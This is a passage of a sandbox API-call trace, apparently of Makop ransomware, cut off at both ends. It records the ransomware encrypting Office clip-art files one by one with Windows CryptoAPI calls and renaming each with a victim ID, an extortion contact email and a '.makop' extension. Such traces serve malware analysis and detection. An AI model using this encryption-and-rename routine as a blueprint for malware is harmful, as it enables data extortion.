Office\\CLIPART\\PUB60COR\\TR00116_.WMF") returned 63 [0153.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.923] GetProcessHeap () returned 0x48a0000 [0153.923] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.923] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.928] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.928] GetProcessHeap () returned 0x48a0000 [0153.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.929] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.929] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.930] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.930] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x25bc, lpOverlapped=0x0) returned 1 [0153.932] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25c0, dwBufLen=0x25c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25c0) returned 1 [0153.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x25c0, lpOverlapped=0x0) returned 1 [0153.932] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.933] SetEndOfFile (hFile=0xf0) returned 1 [0153.940] GetProcessHeap () returned 0x48a0000 [0153.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.941] GetProcessHeap () returned 0x48a0000 [0153.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.941] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.942] CloseHandle (hObject=0xf0) returned 1 [0153.943] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1 [0153.943] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF") returned 63 [0153.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.944] GetProcessHeap () returned 0x48a0000 [0153.944] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.944] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.944] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.949] GetProcessHeap () returned 0x48a0000 [0153.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.949] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.949] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.949] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.951] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1234, lpOverlapped=0x0) returned 1 [0153.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1240, dwBufLen=0x1240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1240) returned 1 [0153.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1240, lpOverlapped=0x0) returned 1 [0153.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.953] SetEndOfFile (hFile=0xf0) returned 1 [0153.960] GetProcessHeap () returned 0x48a0000 [0153.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.960] GetProcessHeap () returned 0x48a0000 [0153.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.960] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.962] CloseHandle (hObject=0xf0) returned 1 [0153.963] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1 [0153.963] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF") returned 63 [0153.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.964] GetProcessHeap () returned 0x48a0000 [0153.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.964] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.969] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.969] GetProcessHeap () returned 0x48a0000 [0153.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.970] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.970] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.971] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x235c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x235c, lpOverlapped=0x0) returned 1 [0153.973] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2360, dwBufLen=0x2360 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2360) returned 1 [0153.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2360, lpOverlapped=0x0) returned 1 [0153.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.974] SetEndOfFile (hFile=0xf0) returned 1 [0153.980] GetProcessHeap () returned 0x48a0000 [0153.981] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.981] GetProcessHeap () returned 0x48a0000 [0153.981] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.981] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.982] CloseHandle (hObject=0xf0) returned 1 [0153.982] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1 [0153.982] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF") returned 63 [0153.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.983] GetProcessHeap () returned 0x48a0000 [0153.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.983] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.988] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.988] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.989] GetProcessHeap () returned 0x48a0000 [0153.989] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.989] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.989] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.990] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.990] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2142, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2142, lpOverlapped=0x0) returned 1 [0153.992] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2150, dwBufLen=0x2150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2150) returned 1 [0153.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2150, lpOverlapped=0x0) returned 1 [0153.992] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.992] SetEndOfFile (hFile=0xf0) returned 1 [0153.999] GetProcessHeap () returned 0x48a0000 [0153.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.999] GetProcessHeap () returned 0x48a0000 [0153.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.999] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 